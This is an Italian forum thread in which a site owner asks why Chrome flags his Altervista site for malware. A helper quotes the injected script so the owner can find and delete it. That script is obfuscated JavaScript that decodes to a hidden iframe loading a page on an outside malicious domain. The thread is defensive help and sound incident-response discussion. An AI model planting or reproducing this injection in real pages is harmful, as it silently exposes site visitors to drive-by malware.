Nel mio sito c'è un Malware??

Quando accedo al mio sito web www.arounda.altervista.org il browser di google chrome mi segnala la presenza di un Malware, dicendomi che:

Questo sito ha ospitato malware?
Sì, questo sito ha ospitato software dannosi negli ultimi 90 giorni. Ha infettato 14 domini, tra cui nuovalavinium.com/, drmotor.it/, ideanozze.it/.

Qual è lo stato corrente del sito 66.96.9.0?
Questo sito non è contrassegnato attualmente come sospetto.
Parte di questo sito è stata contrassegnata come avente attività sospetta 1 volte nel corso degli ultimi 90 giorni.

Che cosa è successo quando Google ha visitato questo sito?
Delle 4 pagine che abbiamo testato sul sito negli ultimi 90 giorni, 0 pagine hanno causato il download e l'installazione di software dannosi senza l'autorizzazione dell'utente. L'ultima volta in cui Google ha visitato questo sito è stato il 2009-10-28, mentre l'ultima volta in cui sono stati rilevati contenuti sospetti su questo sito è stato il 2009-10-28.
Malicious software includes 21 exploit(s), 18 trojan(s), 1 scripting exploit(s).

This site was hosted on 1 network(s) including AS33317 (FORESITEWIRELESS).

Sia chiaro, io non ho fatto assolutamente nulla per installare malware o robe simili, non saprei nemmeno come si fa!!

Per quale motivo mi da questo AVVISO così allarmistico? E' un problema dei server di Altervista??

Elimina dal tuo sito, subito sotto il body, questo codice:

Codice:

---

<script>
var temp="",i,c=0,out=""; var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!119!119!119!46!115!112!117!110!107!116!111!46!99!111!109!47!46!116!100!47!103!111!46!112!104!112!63!115!105!100!61!49!34!32!119!105!100!116!104!61!34!49!34!32!104!101!105!103!104!116!61!34!49!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!59!34!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++; out=out+String.fromCharCode(temp);temp="";}document.write(out);
</script>

---

Lo faccio subito!

Curiosità: che cos'è?

Edit: ho guardato nelle pagine del mio sito... non trovo quel codice :S

Aspetta non basta.
Cerca di capire COME è stato messo quel codice, slitamente attraverso vulnerabilità di script non aggiornati.

Quel codice non lo trovo? :S Dove sarebbe? :S

EDIT: Trovato! Ed Eliminato.

Io di script in quel sito ne ho davvero pochissimi. Ho lo script per il rollover, quello per il contatore e basta... :S

Citazione:

---

Originalmente inviato da arounda

Io di script in quel sito ne ho davvero pochissimi. Ho lo script per il rollover, quello per il contatore e basta... :S

---

Bisogna controllare sempre i termini del servizio (t&c) dei vari servizi che vengono offerti "gratis"

al 99% dei casi che mi sono capitati, proprio sistemi di statistiche gratis installavano virus a insaputa del webmaster :wink: